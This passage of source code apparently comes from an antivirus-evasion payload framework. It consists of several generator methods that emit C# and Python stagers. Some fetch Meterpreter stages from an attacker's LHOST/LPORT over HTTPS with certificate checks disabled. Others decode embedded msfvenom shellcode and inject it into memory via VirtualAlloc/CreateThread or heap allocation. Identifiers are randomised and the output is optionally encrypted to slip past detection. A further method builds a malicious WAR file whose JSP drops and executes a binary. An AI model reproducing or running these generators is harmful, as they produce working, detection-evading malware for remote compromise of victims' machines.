+= " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (sName, funcAddrName, sName) payloadCode += " IntPtr %s = IntPtr.Zero;\n" % (hThreadName) payloadCode += " UInt32 %s = 0;\n" % (threadIdName) payloadCode += " IntPtr %s = IntPtr.Zero;\n" % (pinfoName) payloadCode += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % ( hThreadName, funcAddrName, pinfoName, threadIdName, ) payloadCode += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (hThreadName) sName = helpers.randomString() payloadCode += "static void Main(){\n" payloadCode += ' byte[] %s = null; %s = %s("%s", %s);\n' % ( sName, sName, getDataName, self.required_options["LHOST"][0], self.required_options["LPORT"][0], ) payloadCode += " %s(%s); }\n" % (injectName, sName) # get 12 random variables for the API imports r = [helpers.randomString() for x in xrange(12)] payloadCode += ( """[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s); } }\n""" % (r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9], r[10], r[11]) ) if self.required_options["USE_ARYA"][0].lower() == "y": payloadCode = encryption.arya(payloadCode) return payloadCode
def generate(self): payloadCode = "import urllib2, string, random, struct, ctypes, httplib, time\n" # randomize everything, yo' sumMethodName = helpers.randomString() checkinMethodName = helpers.randomString() randLettersName = helpers.randomString() randLetterSubName = helpers.randomString() randBaseName = helpers.randomString() downloadMethodName = helpers.randomString() hostName = helpers.randomString() portName = helpers.randomString() requestName = helpers.randomString() tName = helpers.randomString() injectMethodName = helpers.randomString() dataName = helpers.randomString() byteArrayName = helpers.randomString() ptrName = helpers.randomString() bufName = helpers.randomString() handleName = helpers.randomString() data2Name = helpers.randomString() proxy_var = helpers.randomString() opener_var = helpers.randomString() # helper method that returns the sum of all ord values in a string % 0x100 payloadCode += "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" %(sumMethodName) # method that generates a new checksum value for checkin to the meterpreter handler payloadCode += "def %s():\n\tfor x in xrange(64):\n" %(checkinMethodName) payloadCode += "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" %(randBaseName) payloadCode += "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" %(randLettersName) payloadCode += "\t\tfor %s in %s:\n" %(randLetterSubName, randLettersName) payloadCode += "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" %(sumMethodName, randBaseName, randLetterSubName, randBaseName, randLetterSubName) # method that connects to a host/port over https and downloads the hosted data payloadCode += "def %s(%s,%s):\n" %(downloadMethodName, hostName, portName) payloadCode += "\t" + proxy_var + " = urllib2.ProxyHandler()\n" payloadCode += "\t" + opener_var + " = urllib2.build_opener(" + proxy_var + ")\n" payloadCode += "\turllib2.install_opener(" + opener_var + ")\n" payloadCode += "\t%s = urllib2.Request(\"https://%%s:%%s/%%s\" %%(%s,%s,%s()), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n" %(requestName, hostName, portName, checkinMethodName) payloadCode += "\ttry:\n" payloadCode += "\t\t%s = urllib2.urlopen(%s)\n" %(tName, requestName) payloadCode += "\t\ttry:\n" payloadCode += "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" %(tName, tName) payloadCode += "\t\t\telse: return ''\n" payloadCode += "\t\texcept: return %s.read()\n" % (tName) payloadCode += "\texcept urllib2.URLError, e: return ''\n" # method to inject a reflective .dll into memory payloadCode += "def %s(%s):\n" %(injectMethodName, dataName) payloadCode += "\tif %s != \"\":\n" %(dataName) payloadCode += "\t\t%s = bytearray(%s)\n" %(byteArrayName, dataName) payloadCode += "\t\t%s = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(%s)), ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" %(ptrName, byteArrayName) payloadCode += "\t\t%s = (ctypes.c_char * len(%s)).from_buffer(%s)\n" %(bufName, byteArrayName, byteArrayName) payloadCode += "\t\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(%s),%s, ctypes.c_int(len(%s)))\n" %(ptrName, bufName, byteArrayName) payloadCode += "\t\t%s = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(%s),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" %(handleName, ptrName) payloadCode += "\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(%s),ctypes.c_int(-1))\n" %(handleName) # download the metpreter .dll and inject it payloadCode += "%s = ''\n" %(data2Name) payloadCode += "%s = %s(\"%s\", %s)\n" %(data2Name, downloadMethodName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payloadCode += "%s(%s)\n" %(injectMethodName, data2Name) if self.required_options["USE_PYHERION"][0].lower() == "y": payloadCode = encryption.pyherion(payloadCode) return payloadCode
def generate(self): # imports and namespace setup payloadCode = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;\n" payloadCode += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) # code for the randomString() function randomStringName = helpers.randomString() bufferName = helpers.randomString() charsName = helpers.randomString() t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") random.shuffle(t) chars = ''.join(t) # logic to turn off certificate validation validateServerCertficateName = helpers.randomString() payloadCode += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" %(validateServerCertficateName) # code for the randomString() method payloadCode += "static string %s(Random r, int s) {\n" %(randomStringName) payloadCode += "char[] %s = new char[s];\n"%(bufferName) payloadCode += "string %s = \"%s\";\n" %(charsName, chars) payloadCode += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) payloadCode += "return new string(%s);}\n" %(bufferName) # code for the checksum8() function checksum8Name = helpers.randomString() payloadCode += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) # code fo the genHTTPChecksum() function genHTTPChecksumName = helpers.randomString() baseStringName = helpers.randomString() randCharsName = helpers.randomString() urlName = helpers.randomString() random.shuffle(t) randChars = ''.join(t) payloadCode += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) payloadCode += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) payloadCode += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) payloadCode += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) payloadCode += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) payloadCode += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName) # code for getData() function getDataName = helpers.randomString() strName = helpers.randomString() webClientName = helpers.randomString() sName = helpers.randomString() payloadCode += "static byte[] %s(string %s) {\n" %(getDataName,strName) payloadCode += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" %(validateServerCertficateName) payloadCode += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) payloadCode += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) payloadCode += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) payloadCode += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) payloadCode += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) payloadCode += "byte[] %s = null;\n" %(sName) payloadCode += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) payloadCode += "if (%s.Length < 100000) return null;}\n" %(sName) payloadCode += "catch (WebException) {}\n" payloadCode += "return %s;}\n" %(sName) # code fo the inject() function to inject shellcode injectName = helpers.randomString() sName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() payloadCode += "static void %s(byte[] %s) {\n" %(injectName, sName) payloadCode += " if (%s != null) {\n" %(sName) payloadCode += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) payloadCode += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) payloadCode += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) payloadCode += " UInt32 %s = 0;\n" %(threadIdName) payloadCode += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) payloadCode += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) payloadCode += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) # code for Main() to launch everything sName = helpers.randomString() randomName = helpers.randomString() payloadCode += "static void Main(){\n" payloadCode += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) payloadCode += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) payloadCode += "%s(%s);}\n" %(injectName, sName) # get 12 random variables for the API imports r = [helpers.randomString() for x in xrange(12)] payloadCode += """[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s); } }\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) if self.required_options["USE_ARYA"][0].lower() == "y": payloadCode = encryption.arya(payloadCode) return payloadCode
def generate(self): Shellcode = self.shellcode.generate() # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random())) base64payload = encryption.b64sub(Shellcode,key) # randomize all our variable names, yo' namespaceName = helpers.randomString() className = helpers.randomString() shellcodeName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() baseStringName = helpers.randomString() targetStringName = helpers.randomString() decodeFuncName = helpers.randomString() base64DecodeFuncName = helpers.randomString() dictionaryName = helpers.randomString() payloadCode = "using System; using System.Net; using System.Text; using System.Linq; using System.Net.Sockets;" payloadCode += "using System.Collections.Generic; using System.Runtime.InteropServices;\n" payloadCode += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (namespaceName, className, decodeFuncName) payloadCode += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" %(baseStringName) payloadCode += "string %s = \"\"; Dictionary<char, char> %s = new Dictionary<char, char>();\n" %(targetStringName,dictionaryName) payloadCode += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" %(baseStringName,dictionaryName,baseStringName) payloadCode += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" %(targetStringName, dictionaryName) payloadCode += "else { %s += t[i]; }} return %s; }\n" %(targetStringName,targetStringName) encodedDataName = helpers.randomString() encodedBytesName = helpers.randomString() payloadCode += "static public string %s(string %s) {\n" %(base64DecodeFuncName,encodedDataName) payloadCode += "byte[] %s = System.Convert.FromBase64String(%s);\n" %(encodedBytesName,encodedDataName) payloadCode += "return System.Text.ASCIIEncoding.ASCII.GetString(%s);}\n" %(encodedBytesName) base64PayloadName = helpers.randomString() payloadCode += "static void Main() {\n" payloadCode += "string %s = \"%s\";\n" % (base64PayloadName, base64payload) payloadCode += "string key = \"%s\";\n" %(key) payloadCode += "string p = (%s(%s(%s, key)).Replace(\"\\\\\", \",0\")).Substring(1);\n" %(base64DecodeFuncName, decodeFuncName, base64PayloadName) payloadCode += "string[] chars = p.Split(',').ToArray();\n" payloadCode += "byte[] %s = new byte[chars.Length];\n" %(shellcodeName) payloadCode += "for (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n" %(shellcodeName) payloadCode += "UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (funcAddrName, shellcodeName) payloadCode += "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (shellcodeName, funcAddrName, shellcodeName) payloadCode += "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) payloadCode += "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) payloadCode += "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" %(hThreadName) # get 12 random variables for the API imports r = [helpers.randomString() for x in xrange(12)] # payloadCode += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" payloadCode += """[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s); } }\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) return payloadCode
def generate(self): # Set up all our variables var_hexpath = helpers.randomString() var_exepath = helpers.randomString() var_data = helpers.randomString() var_inputstream = helpers.randomString() var_outputstream = helpers.randomString() var_numbytes = helpers.randomString() var_bytearray = helpers.randomString() var_bytes = helpers.randomString() var_counter = helpers.randomString() var_char1 = helpers.randomString() var_char2 = helpers.randomString() var_comb = helpers.randomString() var_exe = helpers.randomString() var_hexfile = helpers.randomString() var_proc = helpers.randomString() var_name = helpers.randomString() var_payload = helpers.randomString() random_war_name = helpers.randomString() # Variables for path to our executable input and war output ORIGINAL_EXE = self.required_options["ORIGINAL_EXE"][0] war_file = settings.PAYLOAD_COMPILED_PATH + random_war_name + ".war" try: # read in the executable raw = open(ORIGINAL_EXE, 'rb').read() txt_exe = hexlify(raw) txt_payload_file = open(var_hexfile + ".txt", 'w') txt_payload_file.write(txt_exe) txt_payload_file.close() except IOError: print helpers.color("\n [!] ORIGINAL_EXE file \"" + ORIGINAL_EXE + "\" not found\n", warning=True) return "" # Set up our JSP files used for triggering the payload within the war file jsp_payload = "<%@ page import=\"java.io.*\" %>\n" jsp_payload += "<%\n" jsp_payload += "String " + var_hexpath + " = application.getRealPath(\"/\") + \"" + var_hexfile + ".txt\";\n" jsp_payload += "String " + var_exepath + " = System.getProperty(\"java.io.tmpdir\") + \"/" + var_exe + "\";\n" jsp_payload += "String " + var_data + " = \"\";\n" jsp_payload += "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jsp_payload += var_exepath + " = " + var_exepath + ".concat(\".exe\");\n" jsp_payload += "}\n" jsp_payload += "FileInputStream " + var_inputstream + " = new FileInputStream(" + var_hexpath + ");\n" jsp_payload += "FileOutputStream " + var_outputstream + " = new FileOutputStream(" + var_exepath + ");\n" jsp_payload += "int " + var_numbytes + " = " + var_inputstream + ".available();\n" jsp_payload += "byte " + var_bytearray + "[] = new byte[" + var_numbytes + "];\n" jsp_payload += var_inputstream + ".read(" + var_bytearray + ");\n" jsp_payload += var_inputstream + ".close();\n" jsp_payload += "byte[] " + var_bytes + " = new byte[" + var_numbytes + "/2];\n" jsp_payload += "for (int " + var_counter + " = 0; " + var_counter + " < " + var_numbytes + "; " + var_counter + " += 2)\n" jsp_payload += "{\n" jsp_payload += "char " + var_char1 + " = (char) " + var_bytearray + "[" + var_counter + "];\n" jsp_payload += "char " + var_char2 + " = (char) " + var_bytearray + "[" + var_counter + " + 1];\n" jsp_payload += "int " + var_comb + " = Character.digit(" + var_char1 + ", 16) & 0xff;\n" jsp_payload += var_comb + " <<= 4;\n" jsp_payload += var_comb + " += Character.digit(" + var_char2 + ", 16) & 0xff;\n" jsp_payload += var_bytes + "[" + var_counter + "/2] = (byte)" + var_comb + ";\n" jsp_payload += "}\n" jsp_payload += var_outputstream + ".write(" + var_bytes + ");\n" jsp_payload += var_outputstream + ".close();\n" jsp_payload += "Process " + var_proc + " = Runtime.getRuntime().exec(" + var_exepath + ");\n" jsp_payload += "%>\n" # Write out the jsp code to file jsp_file_out = open(var_payload + ".jsp", 'w') jsp_file_out.write(jsp_payload) jsp_file_out.close() # MANIFEST.MF file contents, and write it out to disk manifest_file = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" man_file = open("MANIFEST.MF", 'w') man_file.write(manifest_file) man_file.close() # web.xml file contents web_xml_contents = "<?xml version=\"1.0\"?>\n" web_xml_contents += "<!DOCTYPE web-app PUBLIC\n" web_xml_contents += "\"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n" web_xml_contents += "\"http://java.sun.com/dtd/web-app_2_3.dtd\">\n" web_xml_contents += "<web-app>\n" web_xml_contents += "<servlet>\n" web_xml_contents += "<servlet-name>" + var_name + "</servlet-name>\n" web_xml_contents += "<jsp-file>/" + var_payload + ".jsp</jsp-file>\n" web_xml_contents += "</servlet>\n" web_xml_contents += "</web-app>\n" # Write the web.xml file to disk xml_file = open("web.xml", 'w') xml_file.write(web_xml_contents) xml_file.close() # Create the directories needed for the war file, and move the needed files into them os.system("mkdir -p META-INF") os.system("mkdir -p WEB-INF") os.system("mv -f web.xml WEB-INF/") os.system("mv -f MANIFEST.MF META-INF/") # Make the war file by zipping everything together myZipFile = zipfile.ZipFile(war_file, 'w') myZipFile.write(var_payload + ".jsp", var_payload + ".jsp", zipfile.ZIP_DEFLATED) myZipFile.write(var_hexfile + ".txt", var_hexfile + ".txt", zipfile.ZIP_DEFLATED) myZipFile.write("META-INF/MANIFEST.MF", "META-INF/MANIFEST.MF", zipfile.ZIP_DEFLATED) myZipFile.write("WEB-INF/web.xml", "WEB-INF/web.xml", zipfile.ZIP_DEFLATED) myZipFile.close() f = open(war_file, 'r') war_payload = f.read() f.close() # Clean up the individual files, you can always unzip the war to see them again os.system("rm -rf WEB-INF") os.system("rm -rf META-INF") os.system("rm -f " + var_payload + ".jsp") os.system("rm -f " + var_hexfile + ".txt") os.system("rm -f " + war_file) PayloadCode = war_payload # Return return PayloadCode
def generate(self): if self.required_options["inject_method"][0].lower() == "virtual": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() PayloadCode = 'import ctypes\n' PayloadCode += 'import base64\n' PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() PayloadCode = 'import ctypes\n' PayloadCode += 'import base64\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += '\t' + ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\t' + 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\t' + 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode if self.required_options["inject_method"][0].lower() == "heap": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() HeapVar = helpers.randomString() PayloadCode = 'import ctypes\n' PayloadCode += 'import base64\n' PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandT = helpers.randomString() HeapVar = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() PayloadCode = 'import ctypes\n' PayloadCode += 'import base64\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += '\t' + ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += '\t' + HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() DecodedShellcode = helpers.randomString() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) PayloadCode = 'from ctypes import *\n' PayloadCode += 'import base64\n' PayloadCode += ShellcodeVariableName + " = \"" + EncodedShellcode + "\"\n" PayloadCode += DecodedShellcode + " = bytearray(" + ShellcodeVariableName + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += RandMemoryShell + ' = create_string_buffer(str(' + DecodedShellcode + '), len(str(' + DecodedShellcode + ')))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() DecodedShellcode = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) PayloadCode = 'from ctypes import *\n' PayloadCode += 'import base64\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + ShellcodeVariableName + " = \"" + EncodedShellcode + "\"\n" PayloadCode += '\t' + DecodedShellcode + " = bytearray(" + ShellcodeVariableName + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(str(' + DecodedShellcode + '), len(str(' + DecodedShellcode + ')))\n' PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += '\t' + RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode